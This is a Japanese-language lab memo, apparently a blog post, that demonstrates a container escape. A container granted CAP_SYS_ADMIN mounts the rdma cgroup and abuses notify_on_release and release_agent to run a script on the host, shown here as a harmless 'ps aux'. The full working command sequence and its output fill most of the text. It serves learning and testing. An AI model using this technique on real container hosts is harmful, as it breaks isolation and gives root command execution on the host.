コンテナエスケープを試す

CAP_SYS_ADMIN を持つコンテナはコンテナエスケープ可能であることを、以下の記事に従って試してみるメモ。

これは以下のメカニズムを利用している。

1.4 What does notify_on_release do ?

If the notify_on_release flag is enabled (1) in a cgroup, then whenever the last task in the cgroup leaves (exits or attaches to some other cgroup) and the last child cgroup of that cgroup is removed, then the kernel runs the command specified by the contents of the "release_agent" file in that hierarchy's root directory, supplying the pathname (relative to the mount point of the cgroup file system) of the abandoned cgroup. This enables automatic removal of abandoned cgroups. The default value of notify_on_release in the root cgroup at system boot is disabled (0). The default value of other cgroups at creation is the current value of their parents' notify_on_release settings. The default value of a cgroup hierarchy's release_agent path is empty.

  • notify_on_release フラグが有効 (1) になっている場合、
  • cgroup の最後のタスクが終了する (終了するか、別の cgroup に接続する) たびに、
  • ルートディレクトリにある release_agent ファイルで指定されたコマンドが実行される

手順

Cloud9 を Ubuntu で起動する。Amazon Linux 2 だと、コンテナ内に root cgroup がマウントされたサブシステムがないため、この手法ではコンテナエスケープできないと思われる (release_agent は root cgroup にあるため)。

コンテナに CAP_SYS_ADMIN を与えて起動する。

Admin:~/environment $ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
Unable to find image 'ubuntu:latest' locally
latest: Pulling from library/ubuntu
4d32b49e2995: Pull complete 
Digest: sha256:bea6d19168bbfd6af8d77c2cc3c572114eb5d113e6f422573c93cb605a0e2ffb
Status: Downloaded newer image for ubuntu:latest
root@9d03d13ac863:/# 

コンテナが持っているケーパビリティーを確認するには、capsh を入れるとよい。

apt-get update
apt-get install -y libcap2-bin

ケーパビリティを確認する。cap_sys_admin が確認できる。

root@9d03d13ac863:/# cat /proc/self/status | grep CapEff
CapEff: 00000000a82425fb
root@9d03d13ac863:/# capsh --decode=00000000a82425fb
0x00000000a82425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_admin,cap_mknod,cap_audit_write,cap_setfcap
root@9d03d13ac863:/# 

cgroup サブシステムを確認する。rdma が root cgroup になっている。

root@9d03d13ac863:/# cat /proc/self/cgroup
12:devices:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
11:blkio:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
10:pids:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
9:hugetlb:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
8:memory:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
7:freezer:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
6:perf_event:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
5:rdma:/
4:cpuset:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
3:cpu,cpuacct:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
2:net_cls,net_prio:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
1:name=systemd:/docker/9d03d13ac8632b7c89e1ab837cfc5e7106d813090d81be46ead2b57dc45dea63
0::/system.slice/containerd.service
root@9d03d13ac863:/# 

rdma は RO でマウントされている。

root@9d03d13ac863:/# mount | grep "cgroup (ro"
cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)
cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma)
cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)
cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
root@9d03d13ac863:/# 

ここからコンテナエスケープの手順で、CAP_SYS_ADMIN があれば rdma を RW でマウントすることができてしまう。/tmp/crgp ディレクトリを作成し、rdma サブシステムをマウントし、その下に子 cgroup を作成する。

root@9d03d13ac863:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

なお、CAP_SYS_ADMIN がない場合は以下のようにマウントに失敗する。

root@4b3e32480952:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
mount: /tmp/cgrp: permission denied.

ディレクトリとファイルを確認する。

root@9d03d13ac863:/# ls -l /tmp/cgrp/
total 0
-rw-r--r-- 1 root root 0 Mar 28 09:48 cgroup.clone_children
-rw-r--r-- 1 root root 0 Mar 28 09:48 cgroup.procs
-r--r--r-- 1 root root 0 Mar 28 09:48 cgroup.sane_behavior
-rw-r--r-- 1 root root 0 Mar 28 09:48 notify_on_release
-rw-r--r-- 1 root root 0 Mar 28 09:48 release_agent
-rw-r--r-- 1 root root 0 Mar 28 09:48 tasks
drwxr-xr-x 2 root root 0 Mar 28 09:48 x
root@9d03d13ac863:/# ls -l /tmp/cgrp/x/
total 0
-rw-r--r-- 1 root root 0 Mar 28 09:49 cgroup.clone_children
-rw-r--r-- 1 root root 0 Mar 28 09:49 cgroup.procs
-rw-r--r-- 1 root root 0 Mar 28 09:49 notify_on_release
-r--r--r-- 1 root root 0 Mar 28 09:49 rdma.current
-rw-r--r-- 1 root root 0 Mar 28 09:49 rdma.max
-rw-r--r-- 1 root root 0 Mar 28 09:49 tasks
root@9d03d13ac863:/# 

子 cgroup の notify_on_realse1 にする。

root@9d03d13ac863:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@9d03d13ac863:/# 

ホスト上のパスを取得し、実行するコマンドのパスを root cgroup の release_agent に書き込む。

root@9d03d13ac863:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@9d03d13ac863:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
root@9d03d13ac863:/# 

release_agent を確認する。

root@9d03d13ac863:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/0dfc3591597a615196dc866e487a7c7abf8a79dd254cc79d62b8dfc74cef078e/diff/cmd
root@9d03d13ac863:/# 

cmd を作成する。

root@9d03d13ac863:/# echo '#!/bin/sh' > /cmd
root@9d03d13ac863:/# echo "ps aux > $host_path/output" >> /cmd
root@9d03d13ac863:/# chmod a+x /cmd
root@9d03d13ac863:/# 

cmd の内容を確認する。

root@9d03d13ac863:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/0dfc3591597a615196dc866e487a7c7abf8a79dd254cc79d62b8dfc74cef078e/diff/output
root@9d03d13ac863:/# 

これで準備はできたので、子 cgroup 内ですぐに終了するプロセスを生成する。シェルを実行して自身の PID を cgroup.props に書き込む。

root@9d03d13ac863:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@9d03d13ac863:/# 

ホスト側でコマンドを実行した出力が確認できた。

root@9d03d13ac863:/# head /output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  0.4 225448  9092 ?        Ss   09:34   0:02 /sbin/init
root         2  0.0  0.0      0     0 ?        S    09:34   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   09:34   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   09:34   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   09:34   0:00 [kworker/0:0H-kb]
root         9  0.0  0.0      0     0 ?        I<   09:34   0:00 [mm_percpu_wq]
root        10  0.0  0.0      0     0 ?        S    09:34   0:00 [ksoftirqd/0]
root        11  0.0  0.0      0     0 ?        I    09:34   0:00 [rcu_sched]
root        12  0.0  0.0      0     0 ?        S    09:34   0:00 [migration/0]
root@9d03d13ac863:/#